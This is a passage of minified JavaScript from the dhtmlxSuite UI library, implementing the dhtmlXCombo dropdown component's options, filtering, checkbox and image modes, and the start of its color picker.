l=e.getAttribute(\"mode\")||e.getAttribute(\"opt_type\")||\"option\";var h=new dhtmlXCombo(g,q,c,l);g=null;var n=e.getAttribute(\"imagePath\");if(n){h.setImagePath(n)}var o=e.getAttribute(\"defaultImage\");var m=e.getAttribute(\"defaultImageDis\");if(window.dhx4.s2b(m)==true){m=true}if(o!=null||m!=null){h.setDefaultImage(o,m)}var a=h._xmlToObj([e],true,e.selectedIndex);if(a.options.length>0){h.addOption(a.options)}a=null;e.parentNode.removeChild(e);e=null;return h}dhtmlXCombo.prototype.setName=function(a){this.conf.form_name=a;this.base.childNodes[1].name=a;this.base.childNodes[2].name=a.replace(/(\\[.*)?$/,\"_new_value$1\")};dhtmlXCombo.prototype.readonly=function(a){if(window.dhx4.s2b(a)){this.base.firstChild.setAttribute(\"readOnly\",\"true\");this.conf.ro_mode=true}else{this.base.firstChild.removeAttribute(\"readOnly\");this.conf.ro_mode=false}};dhtmlXCombo.prototype.setPlaceholder=function(a){if(typeof(a)==\"undefined\"||a==null){a=\"\"}this.base.firstChild.setAttribute(\"placeholder\",String(a))};dhtmlXCombo.prototype.setTemplate=function(e){for(var c in e){if(typeof(this.conf.template[c])!=\"undefined\"){this.conf.template[c]=String(e[c])}}if(e.columns!=null){this._mcMakeTemplate(e.columns)}else{this._mcDetachHeader()}for(var c in this.t){this.t[c].obj.setText(this.t[c].item,this.t[c].item._conf.text)}this._confirmSelect()};dhtmlXCombo.prototype.setSkin=function(a){if(a==this.conf.skin){return}this.conf.skin=a;this.base.className=\"dhxcombo_\"+this.conf.skin+(this.conf.enabled?\"\":\" dhxcombo_disabled\");this.list.className=\"dhxcombolist_\"+this.conf.skin+(this.hdr!=null?\" dhxcombolist_multicolumn\":\"\");if(this.hdr!=null){this.hdr.className=\"dhxcombolist_\"+this.conf.skin+\" dhxcombolist_hdr\"}};dhtmlXCombo.prototype.getInput=function(){return this.base.firstChild};dhtmlXCombo.prototype.getButton=function(){return this.base.childNodes[this.base.childNodes.length-(this.conf.combo_image?2:1)]};dhtmlXCombo.prototype.getList=function(){return this.list};dhtmlXCombo.prototype.getBase=function(){return this.base};dhtmlXCombo.prototype.getParent=function(){return this.DOMParent};dhtmlXCombo.prototype.forEachOption=function(a){for(var c=0;c<this.list.childNodes.length;c++){a.apply(window,[this._getOption(this.list.childNodes[c]._optId,c)])}};dhtmlXCombo.prototype.setFocus=function(){if(this.conf.enabled){this.base.firstChild.focus()}};dhtmlXCombo.prototype.setFontSize=function(a,c){if(a!=null){this.base.firstChild.style.fontSize=a}if(c!=null){this.list.style.fontSize=c}};dhtmlXCombo.prototype.getOption=function(h){var l=null;var e=null;for(var g=0;g<this.list.childNodes.length;g++){if(l==null){var c=this.list.childNodes[g]._optId;if(this.t[c].obj.getValue(this.t[c].item)==h){l=c;e=g}}}return(l==null?null:this._getOption(l,e))};dhtmlXCombo.prototype.getOptionByIndex=function(a){if(a<0){return null}if(this.list.childNodes[a]==null){return null}return this._getOption(this.list.childNodes[a]._optId,a)};dhtmlXCombo.prototype.getOptionByLabel=function(h){var l=null;var e=null;for(var g=0;g<this.list.childNodes.length;g++){if(l==null){var c=this.list.childNodes[g]._optId;if(this.t[c].obj.getText(this.t[c].item,true)==h){l=c;e=g}}}return(l==null?null:this._getOption(l,e))};dhtmlXCombo.prototype.getSelectedIndex=function(){return this._getOptionProp(this.conf.last_selected,\"index\",-1)};dhtmlXCombo.prototype.getSelectedText=function(){return this._getOptionProp(this.conf.last_selected,\"text\",\"\")};dhtmlXCombo.prototype.getSelectedValue=function(){return this._getOptionProp(this.conf.last_selected,\"value\",null)};dhtmlXCombo.prototype.getActualValue=function(){return this.base.childNodes[1].value};dhtmlXCombo.prototype.getComboText=function(){return this.base.childNodes[0].value};dhtmlXCombo.prototype.getIndexByValue=function(c){var a=this.getOption(c);return(a!=null?a.index:-1)};dhtmlXCombo.prototype.setComboText=function(a){if(this.conf.allow_free_text!=true){return}this.unSelectOption();this.conf.last_text=this.base.firstChild.value=a;this.conf.f_server_last=this.base.firstChild.value.toLowerCase()};dhtmlXCombo.prototype.setComboValue=function(c){var a=this.getOption(c);if(a!=null){this.selectOption(a.index)}else{this.conf.last_value=c;this.base.childNodes[1].value=this.conf.last_value;this.base.childNodes[2].value=\"true\"}};dhtmlXCombo.prototype.selectOption=function(c,e,a){if(c<0||c>=this.list.childNodes.length){return}var g=this.list.childNodes[c]._optId;this._setSelected(g,this._isListVisible(),true);this._confirmSelect(\"script\")};dhtmlXCombo.prototype.unSelectOption=function(){if(this.conf.last_hover!=null){this.t[this.conf.last_hover].obj.setSelected(this.t[this.conf.last_hover].item,false);this.conf.last_hover=null}this.base.firstChild.value=\"\";if(this.conf.f_mode!=false){this._filterOpts(true)}this._hideList();this._updateTopImage(null);this._confirmSelect(\"script\")};dhtmlXCombo.prototype.confirmValue=function(){this._confirmSelect(\"script\")};dhtmlXCombo.prototype.enable=function(a){a=(typeof(a)==\"undefined\"?true:window.dhx4.s2b(a));if(this.conf.enabled==a){return}this.conf.enabled=a;if(a){this.base.className=\"dhxcombo_\"+this.conf.skin;this.base.firstChild.removeAttribute(\"disabled\")}else{this._hideList();this.base.className=\"dhxcombo_\"+this.conf.skin+\" dhxcombo_disabled\";this.base.firstChild.setAttribute(\"disabled\",\"true\")}this._updateTopImage(this.conf.last_selected)};dhtmlXCombo.prototype.disable=function(a){a=(typeof(a)==\"undefined\"?true:window.dhx4.s2b(a));this.enable(!a)};dhtmlXCombo.prototype.isEnabled=function(){return(this.conf.enabled==true)};dhtmlXCombo.prototype.show=function(a){if(typeof(a)==\"undefined\"){a=true}else{a=window.dhx4.s2b(a)}this.base.style.display=(a==true?\"\":\"none\")};dhtmlXCombo.prototype.hide=function(a){if(typeof(a)==\"undefined\"){a=true}this.show(!a)};dhtmlXCombo.prototype.isVisible=function(){return(this.base.style.display==\"\")};dhtmlXCombo.prototype.setFilterHandler=function(a){if(typeof(a)==\"function\"){this.conf.f_func=a;this.conf.f_mode=true;this.conf.f_dyn=this.conf.f_cache=this.conf.f_url=null}else{if(typeof(a)==\"string\"&&typeof(window[a])==\"function\"){this.conf.f_func=window[a];this.conf.f_mode=true;this.conf.f_dyn=this.conf.f_cache=this.conf.f_url=null}else{this.conf.f_func=null}}};dhtmlXCombo.prototype.enableFilteringMode=function(g,c,a,e){if(g==true||g==\"between\"){this.conf.f_mode=(g==true?\"start\":\"between\");if(c!=null){this.conf.f_url=c;this.conf.f_cache=window.dhx4.s2b(a);this.conf.f_dyn=window.dhx4.s2b(e)}else{this.conf.f_url=null;this.conf.f_cache=false;this.conf.f_dyn=false}}else{this.conf.f_mode=false;this.conf.f_url=null;this.conf.f_cache=false;this.conf.f_dyn=false}};dhtmlXCombo.prototype.filter=function(e,a){for(var g=0;g<this.list.childNodes.length;g++){var c=e.apply(window,[this._getOption(this.list.childNodes[g]._optId,g)]);this.list.childNodes[g].style.display=(c===true?\"\":\"none\")}if(typeof(a)==\"undefined\"||a==true){this._showList(true)}};dhtmlXCombo.prototype.sort=function(e){var a=[];for(var c=0;c<this.list.childNodes.length;c++){var g=this.list.childNodes[c]._optId;a.push([g,this._getOption(g,c)])}if(e==\"asc\"||e==\"desc\"){k=true;a.sort(function(l,h){l=l[1].text_option.toLowerCase();h=h[1].text_option.toLowerCase();var m=(e==\"asc\"?1:-1);return(l>h?m:-1*m)})}else{if(typeof(e)==\"function\"||typeof(window[e])==\"function\"){if(typeof(window[e])==\"function\"){e=window[e]}a.sort(function(l,h){return e.apply(window,[l[1],h[1]])})}}while(this.list.childNodes.length>0){this.list.removeChild(this.list.lastChild)}for(var c=0;c<a.length;c++){this.list.appendChild(this.t[a[c][0]].item)}};dhtmlXCombo.prototype.enableAutocomplete=function(a){if(typeof(a)==\"undefined\"){a=true}else{a=window.dhx4.s2b(a)}this.conf.f_ac=a};dhtmlXCombo.prototype.disableAutocomplete=function(a){if(typeof(a)==\"undefined\"){a=true}else{a=window.dhx4.s2b(a)}this.enableAutocomplete(!a)};dhtmlXCombo.prototype.allowFreeText=function(a){this.conf.allow_free_text=(typeof(a)==\"undefined\"?true:window.dhx4.s2b(a))};dhtmlXCombo.prototype._checkForMatch=function(g){var a=window.dhx4.trim(this.base.firstChild.value).toLowerCase();var h=null;var c=this.list.firstChild;while(c!=null){if(c.style.display==\"\"&&c._optId!=null){var e=window.dhx4.trim(this.t[c._optId].obj.getText(c,true)).toLowerCase();if(a==e){h=c._optId;c=null}}if(c!=null){c=c.nextSibling}}if(this.conf.last_match==null){if(h!=null){this._setSelected(h,true,true);this.conf.last_match=h}else{if(this.conf.f_mode!=\"between\"||g==true){this._setSelected(null,true,true);this.conf.last_match=null}}}else{if(h!=null){if(h!=this.conf.last_match){this._setSelected(h,true,true);this.conf.last_match=h}}else{this._setSelected(null,true,true);this.conf.last_match=null}}};dhtmlXCombo.prototype._selectRange=function(c,a){if(this.conf.combo_focus==true){window.dhx4.selectTextRange(this.base.firstChild,c,a)}};dhtmlXCombo.prototype.openSelect=function(){if(!this._isListVisible()){this._showList()}};dhtmlXCombo.prototype.closeAll=function(){this._hideList()};dhtmlXCombo.prototype._showList=function(a){if(this._getListVisibleCount()==0){if(a&&this._isListVisible()){this._hideList()}return}if(this._isListVisible()){this._checkListHeight();return}this.list.style.zIndex=window.dhx4.zim.reserve(this.conf.list_zi_id);if(this.hdr!=null){this.hdr.style.zIndex=Number(this.list.style.zIndex)+1}this.list.style.visibility=\"hidden\";this.list.style.display=\"\";if(this.hdr!=null){this.hdr.style.visibility=this.list.style.visibility;this.hdr.style.display=this.list.style.display}var c=(this.hdr!=null?this.hdr.offsetHeight:0);this.list.style.width=Math.max(this.conf.opts_width||this.conf.col_w||0,this.conf.combo_width)+\"px\";this.list.style.top=window.dhx4.absTop(this.base)+c+this.base.offsetHeight-1+\"px\";this.list.style.left=window.dhx4.absLeft(this.base)+\"px\";if(this.hdr!=null){this.hdr.style.width=this.list.style.width;this.hdr.style.left=this.list.style.left;this.hdr.style.top=parseInt(this.list.style.top)-c+\"px\"}this._checkListHeight();this.list.style.visibility=\"visible\";if(this.hdr!=null){this.hdr.style.visibility=\"visible\"}this.callEvent(\"onOpen\",[])};dhtmlXCombo.prototype._hideList=function(){if(!this._isListVisible()){return}window.dhx4.zim.clear(this.conf.list_zi_id);this.list.style.display=\"none\";if(this.hdr!=null){this.hdr.style.display=\"none\"}this.conf.clear_click=false;this.callEvent(\"onClose\",[])};dhtmlXCombo.prototype._isListVisible=function(){return(this.list.style.display==\"\")};dhtmlXCombo.prototype._getListVisibleCount=function(){var a=0;for(var c=0;c<this.list.childNodes.length;c++){a+=(this.list.childNodes[c].style.display==\"\"?1:0)}return a};dhtmlXCombo.prototype._checkListHeight=function(){if(!this._isListVisible()){return}if(this.conf.item_h==null){var q=this.list.firstChild;while(q!=null){if(q.style.display==\"\"){this.conf.item_h=q.offsetHeight+(this.hdr!=null?-1:0);q=null}else{q=q.nextSibling}}q=null}var r=window.dhx4.screenDim();var m=window.dhx4.absTop(this.base);var c=this.base.offsetHeight;var a=(this.hdr!=null?this.hdr.offsetHeight:0);var e=Math.max(0,Math.floor((m+a-r.top)/this.conf.item_h));var o=Math.max(0,Math.floor((r.bottom-(m+c+a))/this.conf.item_h));var u=this._getListVisibleCount();if(o<Math.min(this.conf.opts_count_min,u)&&e>o){o=null}var n=Math.min((o==null?e:o),this.conf.opts_count,u);var g=(n<u?(n*this.conf.item_h)+\"px\":\"\");var l=this.conf.sp[this.conf.skin][this.hdr!=null?\"hdr_ofs\":\"list_ofs\"];this.list.style.height=g;this.list.style.top=(o==null?m-this.list.offsetHeight+l:m+c+a-l)+\"px\";if(this.hdr!=null){this.hdr.style.top=(o==null?m-a-this.list.offsetHeight+l:m+c-l)+\"px\"}};dhtmlXCombo.prototype._scrollToItem=function(h){var g=this.t[h].item.offsetTop;var e=g+this.t[h].item.offsetHeight;var c=this.list.scrollTop;var a=c+this.list.clientHeight;if(g<c){this.list.scrollTop=g+(this.hdr!=null?1:0)}else{if(e>a){this.list.scrollTop=e-this.list.clientHeight+(this.hdr!=null?-this.conf.sp[this.conf.skin].scr_ofs:0)}}};dhtmlXCombo.prototype._setSelected=function(e,c,a){if(a){this._updateTopImage(e)}if(e!=null&&this.conf.last_hover==e){if(c){this._scrollToItem(e)}return}if(this.conf.last_hover!=null){this.t[this.conf.last_hover].obj.setSelected(this.t[this.conf.last_hover].item,false);this.conf.last_hover=null;if(e==null){this.callEvent(\"onSelectionChange\",[])}}if(e!=null){this.t[e].obj.setSelected(this.t[e].item,true);this.conf.last_hover=e;this.callEvent(\"onSelectionChange\",[]);if(this.conf.s_mode==\"select\"&&this.t[e].item==this.t[e].item.parentNode.lastChild){this._subloadRequest()}if(c){this._scrollToItem(e)}}};dhtmlXCombo.prototype._subloadRequest=function(){if(this.conf.f_url!=null&&this.conf.f_dyn==true&&this.conf.f_dyn_end==false){var e=\"mask=\"+encodeURIComponent(this.conf.f_mask)+\"&pos=\"+this.list.childNodes.length;var a=this;var c=function(h){if(a.conf.f_cache){a.conf.f_cache_data[a.conf.f_mask].data.push(h.xmlDoc.responseXML)}var g=a.list.childNodes.length;a.conf.f_loading=true;a.load(h.xmlDoc.responseXML);a.conf.f_loading=false;if(g==a.list.childNodes.length){a.conf.f_dyn_end=true;if(a.conf.f_cache){a.conf.f_cache_data[a.conf.f_mask].dyn_end=true}}c=a=null};if(window.dhx4.ajax.method==\"post\"){window.dhx4.ajax.post(this.conf.f_url,e,c)}else{if(window.dhx4.ajax.method==\"get\"){window.dhx4.ajax.get(this.conf.f_url+(String(this.conf.f_url).indexOf(\"?\")>=0?\"&\":\"?\")+e,c)}}}};dhtmlXCombo.prototype.addOption=function(l,m,c,a,g){var e=null;if(!(l instanceof Array)){var n=this._renderOption({value:l,text:m,css:c,img:a});if(e==null&&window.dhx4.s2b(g)==true){e=n}}else{for(var h=0;h<l.length;h++){if(typeof(l[h])==\"undefined\"){continue}if(l[h] instanceof Array){n=this._renderOption({value:l[h][0],text:l[h][1],css:l[h][2],img:l[h][3]});if(e==null&&window.dhx4.s2b(l[h][4])==true){e=n}}else{var n=this._renderOption(l[h]);if(e==null&&window.dhx4.s2b(l[h].selected)==true){e=n}}}}if(e!=null){this._setSelected(e,this._isListVisible(),true);this._confirmSelect(\"onInit\")}};dhtmlXCombo.prototype.updateOption=function(a,e,c,g){var h=this._getOptionId(a);if(h==null){return}this.t[h].obj.update(this.t[h].item,{value:e,text:c,css:g});if(this.conf.last_selected==h){this.conf.last_text=this.base.firstChild.value=this.t[h].obj.getText(this.t[h].item,true);this.conf.f_server_last=this.base.firstChild.value.toLowerCase()}};dhtmlXCombo.prototype.deleteOption=function(g){for(var c in this.t){var e=this.t[c].obj.getValue(this.t[c].item);if(e==g){this._removeOption(c)}}if(this._isListVisible()){this._showList(true)}};dhtmlXCombo.prototype.clearAll=function(c){c=(typeof(c)==\"undefined\"?true:window.dhx4.s2b(c));for(var e in this.t){this._removeOption(e)}if(this.conf.tm_hover){window.clearTimeout(this.conf.tm_hover)}this.conf.last_hover=null;this.conf.last_selected=null;this.list.scrollTop=0;if(c==true){this._hideList()}};dhtmlXCombo.prototype._renderOption=function(g){var h=window.dhx4.newId();var e=document.createElement(\"DIV\");e._optId=h;e._tpl=this.conf.template;if(typeof(g.img)==\"undefined\"&&typeof(g.img_src)!=\"undefined\"){g.img=g.img_src;delete g.img_src}if(typeof(g.img_dis)==\"undefined\"&&typeof(g.img_src_dis)!=\"undefined\"){g.img_dis=g.img_src_dis;delete g.img_src_dis}g.img_path=this.conf.img_path;g.img_def=this.conf.img_def;g.img_def_dis=this.conf.img_def_dis;this.list.appendChild(e);var c=(this._isListVisible()&&window.dhx4.isFF==true);if(c==true){var a=this.list.scrollTop;this.list.scrollTop-=1}if(this.hdr!=null){g.multicol=true}this.t[e._optId]={obj:this.modes[this.conf.opts_type].render(e,g),item:e,conf:{type:this.conf.opts_type}};e=null;if(c==true){this.list.scrollTop+=1}return h};dhtmlXCombo.prototype._removeOption=function(a){this.t[a].obj.destruct(this.t[a].item);this.t[a].obj=null;this.t[a].item.parentNode.removeChild(this.t[a].item);this.t[a].item=null;this.t[a].conf=null;this.t[a]=null;delete this.t[a];if(this.conf.last_hover==a){this.conf.last_hover=null}if(this.conf.last_selected==a){this.conf.last_selected=null;this._confirmSelect(\"onDelete\")}};dhtmlXCombo.prototype._confirmSelect=function(e,a){var c=false;if(typeof(a)==\"undefined\"){a=true}if(this.conf.f_server_tm){window.clearTimeout(this.conf.f_server_tm)}if(this.conf.last_hover!=null){c=c||(this.conf.last_value!=this._getOptionValue(this.conf.last_hover));this.conf.last_match=this.conf.last_selected=this.conf.last_hover;this.conf.last_value=this._getOptionValue(this.conf.last_selected);this.conf.last_text=this.base.firstChild.value=this.t[this.conf.last_selected].obj.getText(this.t[this.conf.last_selected].item,true);this.conf.f_server_last=this.base.firstChild.value.toLowerCase();this.base.childNodes[1].value=this.conf.last_value;this.base.childNodes[2].value=\"false\"}else{if(this.conf.allow_free_text||(this.base.firstChild.value==\"\"&&this.conf.allow_empty_value)){c=c||(this.conf.last_text!=this.base.firstChild.value);this.conf.last_match=this.conf.last_value=this.conf.last_selected=null;this.conf.last_text=this.base.firstChild.value;this.conf.f_server_last=this.base.firstChild.value.toLowerCase();this.base.childNodes[1].value=this.conf.last_text;this.base.childNodes[2].value=\"true\"}else{this._cancelSelect();this._updateTopImage(this.conf.last_selected);return}}if(this.conf.f_ac&&this.conf.f_mode==\"start\"){this.conf.f_ac_text=\"\";if(e!=\"blur\"){this._selectRange(this.base.firstChild.value.length,this.base.firstChild.value.length)}}if(a){this._hideList()}if(c==true&&e!=\"onInit\"&&e!=\"onDelete\"){this.callEvent(\"onChange\",[this.conf.last_value,this.conf.last_text])}};dhtmlXCombo.prototype._cancelSelect=function(){this._hideList();this.base.firstChild.value=this.conf.last_text;if(this.conf.f_mode!=false){this._filterOpts(true)}};dhtmlXCombo.prototype._getOption=function(m,g){if(!this.t[m]){return null}if(typeof(g)==\"undefined\"){g=-1}if(g<0){for(var l=0;l<this.list.childNodes.length;l++){if(g<0&&this.list.childNodes[l]._optId==m){g=l}}}var h={value:this.t[m].obj.getValue(this.t[m].item),text:this.t[m].obj.getText(this.t[m].item),text_input:this.t[m].obj.getText(this.t[m].item,true),text_option:this.t[m].obj.getText(this.t[m].item,null,true),css:this.t[m].obj.getCss(this.t[m].item),selected:(m==this.conf.last_selected),index:g};if(typeof(this.t[m].obj.getExtraData)==\"function\"){var e=this.t[m].obj.getExtraData(this.t[m].item);for(var c in e){if(typeof(h[c])==\"undefined\"){h[c]=e[c]}}}return h};dhtmlXCombo.prototype._getOptionProp=function(g,e,c){if(g!=null){var a=this._getOption(g);if(a!=null){return a[e]}}return c};dhtmlXCombo.prototype._getOptionId=function(c){var g=null;for(var a=0;a<this.list.childNodes.length;a++){if(g==null){var e=this.list.childNodes[a]._optId;if(c==this.t[e].obj.getValue(this.t[e].item)){g=e}}}return g};dhtmlXCombo.prototype._getOptionValue=function(a){return this._getOptionProp(a,\"value\",null)};dhtmlXCombo.prototype.setSize=function(a){this.conf.combo_width=parseInt(a)-(dhx4.isFF||dhx4.isIE||dhx4.isChrome||dhx4.isOpera?2:0);this.base.style.width=Math.max(0,this.conf.combo_width)+\"px\";this._adjustBase()};dhtmlXCombo.prototype._adjustBase=function(){this.base.firstChild.style.width=Math.max(0,(this.conf.combo_width-24-(this.conf.combo_image?23:0)))+\"px\";this.base.firstChild.style.marginLeft=(this.conf.combo_image?\"23px\":\"0px\")};dhtmlXCombo.prototype.setOptionWidth=function(a){this.conf.opts_width=(parseInt(a)||null)};dhtmlXCombo.prototype.setOptionIndex=function(e,a){if(isNaN(a)||a<0){return}var g=this.getOption(e);if(g==null){return}if(a==g.index){return}var c=this.list.childNodes[g.index];c.parentNode.removeChild(c);if(this.list.childNodes[a]!=null){this.list.insertBefore(c,this.list.childNodes[a])}else{this.list.appendChild(c)}c=null};dhtmlXCombo.prototype.getOptionsCount=function(){return this.list.childNodes.length};dhtmlXCombo.prototype._mcMakeTemplate=function(o){var l=\"\";var g=\"\";this.conf.col_w=0;for(var m=0;m<o.length;m++){var a=Number(parseInt(o[m].width)||50);var e=(o[m].css||\"\");var n=(m==0&&window.dhx4.isIE6==true?\"_first\":\"\");g+=\"<div class='dhxcombo_cell\"+n+\" \"+e+\"' style='width:\"+a+\"px;'><div class='dhxcombo_cell_text'>\"+(o[m].option||\"&nbsp;\")+\"</div></div>\";l+=\"<div class='dhxcombo_hdrcell\"+n+\" \"+e+\"' style='width:\"+a+\"px;'><div class='dhxcombo_hdrcell_text'>\"+(o[m].header||\"&nbsp;\")+\"</div></div>\";this.conf.col_w+=a+1}var a=500;var c=document.createElement(\"DIV\");c.style.position=\"absolute\";c.style.top=\"10px\";c.style.left=-a*2+\"px\";c.style.width=a+\"px\";c.style.height=\"50px\";c.style.overflowY=\"scroll\";c.innerHTML=\"<div>&nbsp;</div>\";document.body.appendChild(c);this.conf.col_w+=a-c.firstChild.offsetWidth+10;c.parentNode.removeChild(c);c=null;this.conf.template.option=g;this._mcAttachHeader(l);this.list.className+=\" dhxcombolist_multicolumn\"};dhtmlXCombo.prototype._mcAttachHeader=function(a){if(this.hdr==null){this.hdr=document.createElement(\"DIV\");this.hdr.className=\"dhxcombolist_\"+this.conf.skin+\" dhxcombolist_hdr\";this.hdr.style.display=\"none\";this.list.parentNode.insertBefore(this.hdr,this.list);if(typeof(window.addEventListener)==\"function\"){this.hdr.addEventListener(\"mousedown\",this._doOnListMouseDown,false)}else{this.hdr.attachEvent(\"onmousedown\",this._doOnListMouseDown)}if(this.conf.opts_type==\"checkbox\"&&this.conf.combo_image==true){this.conf.combo_image=false;if(this.base.lastChild.className.match(/dhxcombo_top_image/)!=null){this.base.removeChild(this.base.lastChild)}this._adjustBase()}}this.hdr.innerHTML=\"<div class='dhxcombo_hdrtext'>\"+a+\"</div>\"};dhtmlXCombo.prototype._mcDetachHeader=function(){if(this.hdr!=null){if(typeof(window.addEventListener)==\"function\"){this.hdr.removeEventListener(\"mousedown\",this._doOnListMouseDown,false)}else{this.hdr.detachEvent(\"onmousedown\",this._doOnListMouseDown)}this.hdr.parentNode.removeChild(this.hdr);this.hdr=null}this.conf.col_w=null;this.conf.item_h=null};dhtmlXCombo.prototype.modes={};dhtmlXCombo.prototype.doWithItem=function(a,m,h,e){var l=(a>=0&&a<this.list.childNodes.length?this.list.childNodes[a]._optId:null);if(l==null){return null}if(typeof(this.t[l].obj[m])!=\"function\"){return null}var g=[this.t[l].item];for(var c=2;c<arguments.length;c++){g.push(arguments[c])}return this.t[l].obj[m].apply(this.t[l].obj,g)};function dhtmlXComboExtend(g,e){for(var c in dhtmlXCombo.prototype.modes[e]){if(typeof(dhtmlXCombo.prototype.modes[g][c])==\"undefined\"){dhtmlXCombo.prototype.modes[g][c]=dhtmlXCombo.prototype.modes[e][c]}}}dhtmlXCombo.prototype.modes.option={image:false,option_css:\"dhxcombo_option_text\",render:function(a,c){a._conf={value:c.value,css:\"\"};a.className=\"dhxcombo_option\";a.innerHTML=\"<div class='\"+this.option_css+\"'>&nbsp;</div>\";if(c.css!=null){a.lastChild.style.cssText=c.css;a._conf.css=c.css}this.setText(a,c.text);return this},destruct:function(a){a._conf=null},update:function(a,c){a._conf.value=c.value;a._conf.css=c.css;a.lastChild.style.cssText=c.css;this.setText(a,c.text)},setText:function(c,e){c._conf.text=e;var a=(typeof(e)==\"object\"?window.dhx4.template(c._tpl.option,c._conf.text,true):window.dhx4.trim(c._conf.text||\"\"));c.lastChild.innerHTML=(a.length==0?\"&nbsp;\":a)},getText:function(e,a,c){if(window.dhx4.s2b(a)&&typeof(e._conf.text)==\"object\"){return window.dhx4.template(e._tpl.input,e._conf.text,true)}if(window.dhx4.s2b(c)&&typeof(e._conf.text)==\"object\"){return window.dhx4.template(e._tpl.option,e._conf.text,true)}return e._conf.text},getValue:function(a){return a._conf.value},getCss:function(a){return a._conf.css},setSelected:function(a,c){a.className=\"dhxcombo_option\"+(c?\" dhxcombo_option_selected\":\"\")},isSelected:function(a){return String(a.className).indexOf(\"dhxcombo_option_selected\")>=0},getExtraData:function(a){return{type:\"option\"}}};dhtmlXCombo.prototype.modes.checkbox={image:true,image_css:\"dhxcombo_checkbox dhxcombo_chbx_#state#\",option_css:\"dhxcombo_option_text dhxcombo_option_text_chbx\",render:function(a,c){if(this.image_css_regexp==null){this.image_css_regexp=new RegExp(this.image_css.replace(\"#state#\",\"\\\\d*\"))}a._conf={value:c.value,css:\"\",checked:window.dhx4.s2b(c.checked)};a.className=\"dhxcombo_option\";if(c.multicol==true){c.text.checkbox=\"<div class='\"+String(this.image_css).replace(\"#state#\",(a._conf.checked?\"1\":\"0\"))+\"'></div>&nbsp;\";a.innerHTML=\"<div class='\"+dhtmlXCombo.prototype.modes.option.option_css+\"'></div>\"}else{a.innerHTML=\"<div class='\"+String(this.image_css).replace(\"#state#\",(a._conf.checked?\"1\":\"0\"))+\"'></div><div class='\"+this.option_css+\"'>&nbsp;</div>\"}if(c.css!=null){a.lastChild.style.cssText+=c.css;a._conf.css=c.css}this.setText(a,c.text);return this},setChecked:function(c,e){c._conf.checked=window.dhx4.s2b(e);var a=String(this.image_css).replace(\"#state#\",(c._conf.checked?\"1\":\"0\"));this._changeChbxCss(c.childNodes,a)},_changeChbxCss:function(a,c){for(var e=0;e<a.length;e++){if(a[e].tagName!=null&&a[e].className!=null&&a[e].className.match(this.image_css_regexp)!=null){a[e].className=c}else{if(a[e].childNodes.length>0){this._changeChbxCss(a[e].childNodes,c)}}}},isChecked:function(a){return(a._conf.checked==true)},getExtraData:function(a){return{type:\"checkbox\",checked:a._conf.checked}},optionClick:function(h,g,l){var e=true;var c=(g.target||g.srcElement);while(e==true&&c!=null&&c!=h&&c.className!=null){if(c.className.match(this.image_css_regexp)!=null){var a=[h._conf.value,!h._conf.checked];if(l.callEvent(\"onBeforeCheck\",a)===true){this.setChecked(h,!this.isChecked(h));l.callEvent(\"onCheck\",a)}e=false;a=null}else{c=c.parentNode}}c=l=h=null;return e},getTopImage:function(c,a){return\"\"},topImageClick:function(a,c){return true}};dhtmlXComboExtend(\"checkbox\",\"option\");dhtmlXCombo.prototype.setChecked=function(a,c){this.doWithItem(a,\"setChecked\",c)};dhtmlXCombo.prototype.getChecked=function(a){var c=[];for(var e=0;e<this.list.childNodes.length;e++){if(this.isChecked(e)){c.push(this._getOptionProp(this.list.childNodes[e]._optId,\"value\",\"\"))}}return c};dhtmlXCombo.prototype.isChecked=function(a){return this.doWithItem(a,\"isChecked\")};dhtmlXCombo.prototype.modes.image={image:true,image_css:\"dhxcombo_image\",option_css:\"dhxcombo_option_text dhxcombo_option_text_image\",render:function(a,c){a._conf={value:c.value,css:\"\"};a.className=\"dhxcombo_option\";a.innerHTML=\"<div class='\"+this.image_css+\"'></div><div class='\"+this.option_css+\"'>&nbsp;</div>\";if(c.css!=null){a.lastChild.style.cssText+=c.css;a._conf.css=c.css}this.setText(a,c.text);this.setImage(a,c.img,c.img_dis,c.img_path,c.img_def,c.img_def_dis);return this},update:function(a,c){a._conf.value=c.value;a._conf.css=c.css;a.lastChild.style.cssText=c.css;this.setText(a,c.text);this.setImage(a,c.img,c.img_dis,c.img_path,c.img_def,c.img_def_dis)},setImage:function(e,a,h,l,g,c){if(a!=null&&a.length>0){a=l+a}else{if(g!=null&&g.length>0){a=l+g}else{a=null}}if(h!=null&&h.length>0){h=l+h}else{if(c!=null&&c.length>0){h=l+c}else{if(c==true){h=a}else{h=null}}}e._conf.img=a;e._conf.img_dis=h;e.firstChild.style.backgroundImage=(a!=null?\"url(\"+a+\")\":\"none\")},getExtraData:function(a){return{type:\"image\"}},getTopImage:function(g,e){var c=(e?\"img\":\"img_dis\");if(g!=null&&g._conf[c]!=null){return\"<div class='\"+this.image_css+\"' style='background-image:url(\"+g._conf[c]+\");'></div>\"}return\"\"}};dhtmlXComboExtend(\"image\",\"option\");dhtmlXCombo.prototype.setDefaultImage=function(a,c){if(a!=null){this.conf.img_def=a}if(c!=null){this.conf.img_def_dis=c}};dhtmlXCombo.prototype.setImagePath=function(a){this.conf.img_path=a};function dhtmlXColorPicker(n){if(!(this instanceof dhtmlXColorPicker)){return new dhtmlXColorPicker(n)}dhx4._eventable(this);var h=this,g=undefined,m=null,e,a,c;this._nodes=[];this.activeNode=null;this._inputListenerId=null;this.base=null;this._globalNode=null;this.memory=null;this.skin=null;this.conf={cp_id:dhx4.newId(),x:0,y:0,c:0,indent:2,position:\"right\",customColors:false,selectedColor:null,hide:false,hideOnSelect:false,lang:\"en\",closeable:true};this.value={red:-1,blue:-1,green:-1,hue:-1,sat:-1,lum:-1};this._initMoveSelection=function(l){l=l||event;if(typeof(window.addEventListener)==\"function\"){h._controllerNodes.colorArea.addEventListener(\"mousemove\",h._setMoveSelection,false);document.body.addEventListener(\"mouseup\",h._cleanMoveSelection,false)}else{h._controllerNodes.colorArea.attachEvent(\"onmousemove\",h._setMoveSelection);document.body.attachEvent(\"onmouseup\",h._cleanMoveSelection)}h._setMoveSelection(l,h._controllerNodes.colorArea);return false};this._cleanMoveSelection=function(){if(typeof(window.removeEventListener)==\"function\"){h._controllerNodes.colorArea.removeEventListener(\"mousemove\",h._setMoveSelection,false);document.body.removeEventListener(\"mouseup\",h._cleanMoveSelection,false)}else{h._controllerNodes.colorArea.detachEvent(\"onmousemove\",h._setMoveSelection);document.body.detachEvent(\"onmouseup\",h._cleanMoveSelection)}return false};this._setMoveSelection=function(l){l=l||event;var 